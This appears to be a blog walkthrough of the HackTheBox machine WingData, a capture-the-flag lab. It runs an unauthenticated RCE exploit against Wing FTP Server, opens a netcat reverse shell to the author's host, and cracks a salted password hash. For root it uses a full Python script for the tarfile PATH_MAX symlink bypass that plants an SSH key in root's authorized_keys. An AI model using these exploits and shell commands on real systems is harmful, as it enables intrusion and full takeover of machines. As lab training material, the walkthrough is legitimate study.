HackTheBox Easy

Wingdata - HackTheBox

August 08, 2026
4 min read
Wingdata - HackTheBox

Hello guys, today we tackle WingData, a HackTheBox season 10 easy machine. Without wasting too much time, let's dive directly with enumeration

Reconnaissance

Port Scanning

┌──(jovi㉿Jovi)-[~/Downloads]
└─$ nmap 10.129.40.143 
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-28 13:20 +0100
Nmap scan report for 10.129.40.143
Host is up (0.57s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 79.40 seconds

From the scan, the following was noted:

  • Port 80 is opened, showing the presence of a web application
  • Port 22 is opened, which is the port for SSH

Web Enumeration

With the ports identified, I then moved to fingerprinting the web application running on port 80.

Before proceeding, make sure wingdata.htb is been registered in the /etc/hosts file with the corresponding IP address of the box

WingData landing page

After navigating through the interface, I identified the software version running at the login page

WingData login page

With the version identified, I then used searchsploit to find any reported vulnerability of that particular version, and guess what?! I found something interesting🤭

┌──(jovi㉿Jovi)-[~/Downloads]
└─$ searchsploit "wing"     
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                                            |  Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
<SNIP>
Weekly Drawing Contest 0.0.1 - 'Check_Vote.php' Local File Inclusion                                                                                                                                      | php/webapps/29737.txt
Wing FTP Server - (Authenticated) Command Execution (Metasploit)                                                                                                                                          | windows/remote/34517.rb
Wing FTP Server - Authenticated CSRF (Delete Admin)                                                                                                                                                       | php/webapps/48200.txt
Wing FTP Server 3.2.4 - Cross-Site Request Forgery                                                                                                                                                        | multiple/webapps/10821.txt
Wing FTP Server 4.3.8 - Remote Code Execution (RCE) (Authenticated)                                                                                                                                       | windows/remote/50720.py
Wing FTP Server 6.0.7 - Unquoted Service Path                                                                                                                                                             | windows/local/47818.txt
Wing FTP Server 6.2.3 - Privilege Escalation                                                                                                                                                              | windows/local/48160.py
Wing FTP Server 6.2.5 - Privilege Escalation                                                                                                                                                              | multiple/webapps/48154.sh
Wing FTP Server 6.3.8 - Remote Code Execution (Authenticated)                                                                                                                                             | lua/webapps/48676.txt
Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution  (RCE)                                                                                                                                      | multiple/remote/52347.py
Wing FTP Server Admin 4.4.5 - Cross-Site Request Forgery (Add User)                                                                                                                                       | php/webapps/36992.txt
Wing FTP Server Admin 4.4.5 - Multiple Vulnerabilities                                                                                                                                                    | windows/webapps/36861.txt
WinGate 9.4.1.5998 - Insecure Folder Permissions                                                                                                                                                          | windows/local/48573.txt
Winged Gallery 1.0 - 'Thumb.php' Cross-Site Scripting                                                                                                                                                     | php/webapps/28102.txt
WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts                                                                                                                                   | multiple/webapps/47690.md
WPS Office < 2016 - '.ppt' drawingContainer Memory Corruption                                                                                                                                             | windows/dos/39397.txt
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Shellcode Title                                                                                                                                                                                          |  Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Linux/x86 - Disable Shadowing Shellcode (42 bytes)                                                                                                                                                        | linux_x86/43648.c
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------

Exploitation

Initial Access

Wing FTP Server 7.4.3 suffered from unauthenticated RCE interesting. I then moved on and copied the exploit to our working directory.

┌──(jovi㉿Jovi)-[~/Downloads]
└─$ searchsploit -p 52347                          
  Exploit: Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution  (RCE)
      URL: https://www.exploit-db.com/exploits/52347
     Path: /usr/share/exploitdb/exploits/multiple/remote/52347.py
    Codes: CVE-2025-47812
 Verified: False
File Type: Python script, ASCII text executable
Copied EDB-ID #52347's path to the clipboard
┌──(jovi㉿Jovi)-[~/walkthroughs/HTB/Wingdata]
└─$ cp /usr/share/exploitdb/exploits/multiple/remote/52347.py .

I then checked the exploit's usage in order to get into our server😌

┌──(jovi㉿Jovi)-[~/walkthroughs/HTB/Wingdata]
└─$ python3 52347.py           
usage: 52347.py [-h] [-u URL] [-f FILE] [-c COMMAND] [-v] [-o OUTPUT] [-U USERNAME]
52347.py: error: Either -u/--url or -f/--file must be specified.

The first thing I did was to verify if the server was effectively vulnerable to unauthenticated RCE

┌──(jovi㉿Jovi)-[~/walkthroughs/HTB/Wingdata]
└─$ python3 52347.py -u http://ftp.wingdata.htb/          

[*] Testing target: http://ftp.wingdata.htb/
[+] http://ftp.wingdata.htb/ is vulnerable!
┌──(jovi㉿Jovi)-[~/walkthroughs/HTB/Wingdata]
└─$ python3 52347.py -u http://ftp.wingdata.htb/ -c whoami

[*] Testing target: http://ftp.wingdata.htb/
[+] Sending POST request to http://ftp.wingdata.htb//loginok.html with command: 'whoami' and username: 'anonymous'
[+] UID extracted: 8e67f56f6ee1ccdf8a00738a246bfd02f528764d624db129b32c21fbca0cb8d6
[+] Sending GET request to http://ftp.wingdata.htb//dir.html with UID: 8e67f56f6ee1ccdf8a00738a246bfd02f528764d624db129b32c21fbca0cb8d6

--- Command Output ---                                                                                                                                                                                                                      
wingftp
----------------------

Things are getting interesting from now. I just have to execute a reverse shell payload and obtain a shell as wingftp user (an old friend of mine🤧).

After trying so many payloads, I finally found one that worked.

python3 52347.py -u http://ftp.wingdata.htb/ -c 'nc 10.10.15.192 4444 -e /bin/bash'

Before executing the command, I first set up a netcat listener

nc -nvlp 4444
┌──(jovi㉿Jovi)-[~/walkthroughs/HTB/Wingdata]
└─$ python3 52347.py -u http://ftp.wingdata.htb/ -c 'nc 10.10.15.192 4444 -e /bin/bash'                                    

[*] Testing target: http://ftp.wingdata.htb/
[+] Sending POST request to http://ftp.wingdata.htb//loginok.html with command: 'nc 10.10.15.192 4444 -e /bin/bash' and username: 'anonymous'
[+] UID extracted: fc66734cc6aeb29f8df69d349d6ab878f528764d624db129b32c21fbca0cb8d6
[+] Sending GET request to http://ftp.wingdata.htb//dir.html with UID: fc66734cc6aeb29f8df69d349d6ab878f528764d624db129b32c21fbca0cb8d6
[-] Error sending GET request to http://ftp.wingdata.htb//dir.html: HTTPConnectionPool(host='ftp.wingdata.htb', port=80): Read timed out. (read timeout=10)

And that's how we got our reverse shell🙂‍↔️.

Ah.. I forgot to show the output, sorry🤧

┌──(jovi㉿Jovi)-[~/walkthroughs/HTB/Wingdata]
└─$ nc -nvlp 4444 
Listening on 0.0.0.0 4444
Connection received on 10.129.40.143 47972

Why would I lie?🤨

wingftp -> wacky

After obtaining the reverse shell, I proceeded in stabilizing the shell using the following commands

python3 -c 'import pty;pty.spawn("/bin/bash")'
<CTRL + Z>
stty raw -echo; fg 

After moving around the directory we landed in, I found interesting user files that contains hashed passwords

wingftp@wingdata:/opt/wftpserver$ ls
Data         pid-wftpserver.pid  version.txt  wftp_default_ssh.key
License.txt  README              webadmin     wftp_default_ssl.crt
Log          session             webclient    wftp_default_ssl.key
lua          session_admin       wftpconsole  wftpserver
wingftp@wingdata:/opt/wftpserver$ cd Data
wingftp@wingdata:/opt/wftpserver/Data$ ls
1  _ADMINISTRATOR  bookmark_db  settings.xml  ssh_host_ecdsa_key  ssh_host_key
wingftp@wingdata:/opt/wftpserver/Data$ ls 1
groups  portlistener.xml  settings.xml  users
wingftp@wingdata:/opt/wftpserver/Data$ cd 1/users
wingftp@wingdata:/opt/wftpserver/Data/1/users$ ls
anonymous.xml  john.xml  maria.xml  steve.xml  wacky.xml

Upon inspecting the /home directory, a user wacky was found. So I viewed the content of wacky.xml and found a password hash.

wingftp@wingdata:/opt/wftpserver/Data/1/users$ cat wacky.xml
<?xml version="1.0" ?>
<USER_ACCOUNTS Description="Wing FTP Server User Accounts">
    <USER>
        <UserName>wacky</UserName>
        <EnableAccount>1</EnableAccount>
        <EnablePassword>1</EnablePassword>
        <Password>32940defXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX994f8a503ca</Password>
        <ProtocolType>63</ProtocolType>
        <EnableExpire>0</EnableExpire>
        <SNIP>
    </USER>
</USER_ACCOUNTS>

With that in hand, I then analyzed the hash to obtain the algorithm behind it using hashid

┌──(jovi㉿Jovi)-[~/walkthroughs/HTB/Wingdata]
└─$ hashid '32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca' -m
Analyzing '32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca'
[+] Snefru-256 
[+] SHA-256 [Hashcat Mode: 1400]
[+] RIPEMD-256 
[+] Haval-256 
[+] GOST R 34.11-94 [Hashcat Mode: 6900]
[+] GOST CryptoPro S-Box 
[+] SHA3-256 [Hashcat Mode: 5000]
[+] Skein-256 
[+] Skein-512(256) 

I then attempted to crack it using hashcat mode 1400, but wasn't successfull🥲. So I went for more research and realized this was a salted hash.

AI overview answer of SHA-256 hashcat modules

I searched for the salt in the configuration files but found none. After a google search, I found the default salt of admin accounts WingFTP.

AI overview answer of location of salt in wingftp

I then saved the hash with the salt in the format stated by the AI overview (If it doesn't work it is the AI's fault, not mine😭) AI overview answer of hashcat salt handling

After saving the hash with salt, I then proceed in cracking and was successful

┌──(jovi㉿Jovi)-[~/walkthroughs/HTB/Wingdata]
└─$ nano hash.txt 

┌──(jovi㉿Jovi)-[~/walkthroughs/HTB/Wingdata]
└─$ hashcat -m 1410 hash.txt /usr/share/wordlists/rockyou.txt                   
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-skylake-avx512-11th Gen Intel(R) Core(TM) i7-1185G7 @ 3.00GHz, 14890/29781 MB (4096 MB allocatable), 8MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

<SNIP>

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

32940defXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX994f8a503ca:WingFTP:[REDACTED]

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1410 (sha256($pass.$salt))
<SNIP>

Started: Tue Apr 28 15:05:17 2026
Stopped: Tue Apr 28 15:05:31 2026

User flag

The password obtained was then used to login in the server through ssh and view the user flag.

┌──(jovi㉿Jovi)-[~/walkthroughs/HTB/Wingdata]
└─$ ssh wacky@10.129.40.143     
wacky@10.129.40.143's password: 
Linux wingdata 6.1.0-42-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.159-1 (2025-12-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Apr 28 10:07:13 2026 from 10.10.15.192
wacky@wingdata:~$ ls
user.txt
wacky@wingdata:~$ cat user.txt
18d8exxxxxxxxxxxxxxxxxxxxxx20844

You can take a break, you deserve it. See you in 5 minutes...

Privilege Escalation

Backup script

5 minutes break, not 6!!!🧐 Come back to your seat! ...Thank you.

After some enumeration, I found a python script I could run with sudo privileges.

wacky@wingdata:~$ sudo -l
Matching Defaults entries for wacky on wingdata:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User wacky may run the following commands on wingdata:
    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

So what followed next? (you ask yourself😏)

I proceeded to understand what the script does. I know it is written backup script, but how exactly does it work?

From the help menu, I understood that it restores client configuration from a validated backup tarball

wacky@wingdata:~$ python3 /opt/backup_clients/restore_backup_clients.py -h
usage: restore_backup_clients.py [-h] -b BACKUP -r RESTORE_DIR

Restore client configuration from a validated backup tarball.

options:
  -h, --help            show this help message and exit
  -b BACKUP, --backup BACKUP
                        Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, where <client_id> is a positive integer, e.g., backup_1001.tar)
  -r RESTORE_DIR, --restore-dir RESTORE_DIR
                        Staging directory name for the restore operation. Must follow the format: restore_<client_user> (e.g., restore_john). Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24
                        characters).

Example: sudo restore_backup_clients.py -b backup_1001.tar -r restore_john

I then proceed to read the content of the script to have a better insight

#!/usr/bin/env python3
import tarfile
import os
import sys
import re
import argparse

BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"

def validate_backup_name(filename):
    if not re.fullmatch(r"^backup_\d+\.tar$", filename):
        return False
    client_id = filename.split('_')[1].rstrip('.tar')
    return client_id.isdigit() and client_id != "0"

def validate_restore_tag(tag):
    return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))

def main():
    parser = argparse.ArgumentParser(
        description="Restore client configuration from a validated backup tarball.",
        epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"
    )
    parser.add_argument(
        "-b", "--backup",
        required=True,
        help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "
             "where <client_id> is a positive integer, e.g., backup_1001.tar)"
    )
    parser.add_argument(
        "-r", "--restore-dir",
        required=True,
        help="Staging directory name for the restore operation. "
             "Must follow the format: restore_<client_user> (e.g., restore_john). "
             "Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)."
    )

    args = parser.parse_args()

    if not validate_backup_name(args.backup):
        print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)
        sys.exit(1)

    backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
    if not os.path.isfile(backup_path):
        print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)
        sys.exit(1)

    if not args.restore_dir.startswith("restore_"):
        print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)
        sys.exit(1)

    tag = args.restore_dir[8:]
    if not tag:
        print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)
        sys.exit(1)

    if not validate_restore_tag(tag):
        print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr)
        sys.exit(1)

    staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
    print(f"[+] Backup: {args.backup}")
    print(f"[+] Staging directory: {staging_dir}")

    os.makedirs(staging_dir, exist_ok=True)

    try:
        with tarfile.open(backup_path, "r") as tar:
            tar.extractall(path=staging_dir, filter="data")
        print(f"[+] Extraction completed in {staging_dir}")
    except (tarfile.TarError, OSError, Exception) as e:
        print(f"[!] Error during extraction: {e}", file=sys.stderr)
        sys.exit(2)

if __name__ == "__main__":
    main()

So the script reads a tar from /opt/backup_clients/backups/backup_<id>.tar and extracts it to /opt/backup_clients/restored_backups/restore_<tag>/.

CVE-2025-4517 PATH_MAX bypass in tarfile.extractall(filter="data")

After a lot of research, I found out the TarFile.extractAll() function was vulnerable to an overflow vulnerability ( CVE-2025-4517 ) in the version of python installed in this server (3.12.3)

wacky@wingdata:/opt/backup_clients/backups$ python3 --version
Python 3.12.3

AI overview of CVE-2025-4517

I then tried to adapt the exploit at CVE-2025-4517 to generate a malicious tarball that will write my public key in the authorized keys of the root user (It's not my fault, I was asked to make myself at home🙃)

import tarfile, os, io

comp = 'd' * 247
steps = "abcdefghijklmnop"
path = ""

with tarfile.open("backup_9999.tar", mode="w") as tar:
    for i in steps:
        a = tarfile.TarInfo(os.path.join(path, comp))
        a.type = tarfile.DIRTYPE
        tar.addfile(a)
        b = tarfile.TarInfo(os.path.join(path, i))
        b.type = tarfile.SYMTYPE
        b.linkname = comp
        tar.addfile(b)
        path = os.path.join(path, comp)

    linkpath = os.path.join("/".join(steps), "l" * 254)
    l = tarfile.TarInfo(linkpath)
    l.type = tarfile.SYMTYPE
    l.linkname = "../" * len(steps)
    tar.addfile(l)

    # escape -> /root/.ssh directory
    e = tarfile.TarInfo("escape")
    e.type = tarfile.SYMTYPE
    e.linkname = linkpath + "/../../../../../root/.ssh"
    tar.addfile(e)

    # Write new file THROUGH the symlink (no hardlink needed)
    pubkey = open("./rootkey.pub", "rb").read()
    n = tarfile.TarInfo("escape/authorized_keys")
    n.type = tarfile.REGTYPE
    n.size = len(pubkey)
    n.mode = 0o600
    tar.addfile(n, fileobj=io.BytesIO(pubkey))

Basically the script does the following :

  • The for loop creates a directory with a 247-character name and a single-letter symlink pointint to it at every iteration. After 16 iterations, the fully resolved path is approximately 3952 chars (247 x 16), approaching PATH_MAX(4096 bytes)
  • linkpath is constructed using the single-letter steps (a/b/c/.../p/llll...l). When Python tries to resolve this through the chain of symlinks built in the loop above, the path exceeds PATH_MAX. At that point os.path.realpath() stops resolving and returns the raw unresolved path, so the filter check passes without actually verifying where the symlink leads. The linkname of ../../../../../../ (16 levels) brings back to the extraction root.
  • escape is a symlink whose target is built through the overflow chain. When the filter validates it, os.path.realpath() hits PATH_MAX during resolution of linkpath and bails out before reaching /../../../../../root/.ssh, so the out-of-bounds portion is never checked. At extraction time the OS kernel resolves it fully, landing in /root/.ssh.
  • escape/authorized_keys resolves (via escape/root/.ssh) to /root/.ssh/authorized_keys. The filter only checks that escape is within the extraction dir (it already passed) so writing through it is allowed. The actual write lands outside the extraction directory entirely.

Before running the script, I first generated the ssh keys with the following command on my attack host

┌──(jovi㉿Jovi)-[~/walkthroughs/HTB/Wingdata]
└─$ ssh-keygen -f ./rootkey -N ""           
Generating public/private ed25519 key pair.
Your identification has been saved in ./rootkey
Your public key has been saved in ./rootkey.pub
The key fingerprint is:
SHA256:H2/BeLqSOkG4mlYMwic395ewuaorqbS4T4fFKpf/LOA jovi@Jovi
The key's randomart image is:
+--[ED25519 256]--+
|                 |
|                 |
|.    .           |
|.o.=....   o     |
| .+o=o. S + +    |
|  .=+ .+ + = .   |
|.oB=.  .o.o o    |
|o*Eo....o  o     |
|==oo++=o ..      |
+----[SHA256]-----+

With the keys created, I then proceed to create the malicious tar file using our beautiful python script above and transfer it to the box.

┌──(jovi㉿Jovi)-[~/walkthroughs/HTB/Wingdata]
└─$ python3 generate_tar.py 
┌──(jovi㉿Jovi)-[~/walkthroughs/HTB/Wingdata]
└─$ scp backup_9999.tar wacky@10.129.40.143:/opt/backup_clients/backups/
wacky@10.129.40.143's password: 
backup_9999.tar                                                                                                                                                                                           100%  110KB  16.2KB/s   00:06   

We are already at 2 commands left before we separate. I will miss you🥺. What's your name by the way? it was great going through this with you🤝.

root flag

Let's stop being emotional and get that root flag😾

I moved back to the foothold and ran the command to restore our non-malicious backup file. Trust me it wasn't malicious at all😙.

wacky@wingdata:/opt/backup_clients/backups$ sudo python3 /opt/backup_clients/restore_backup_clients.py -b backup_9999.tar -r restore_pwn
[+] Backup: backup_9999.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_pwn
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_pwn

To see if the command successfully worked, I just had to ssh as root with my private key.

┌──(jovi㉿Jovi)-[~/walkthroughs/HTB/Wingdata]
└─$ ssh -i rootkey root@10.129.40.143                                   
Linux wingdata 6.1.0-42-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.159-1 (2025-12-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Apr 28 12:18:33 2026 from 10.10.15.192
root@wingdata:~#

Guess who is root... I allow you to do the most difficult part of all this work. Find where the root flag is and print it😏

root@wingdata:~# ls
root.txt
root@wingdata:~# cat root.txt
aecc5xxxxxxxxxxxxxxxxxxxxxx8a097
root@wingdata:~# 

And that's all for today's walkthrough, thank you for following along and hope to see you soon. Stay safe and keep hacking!😁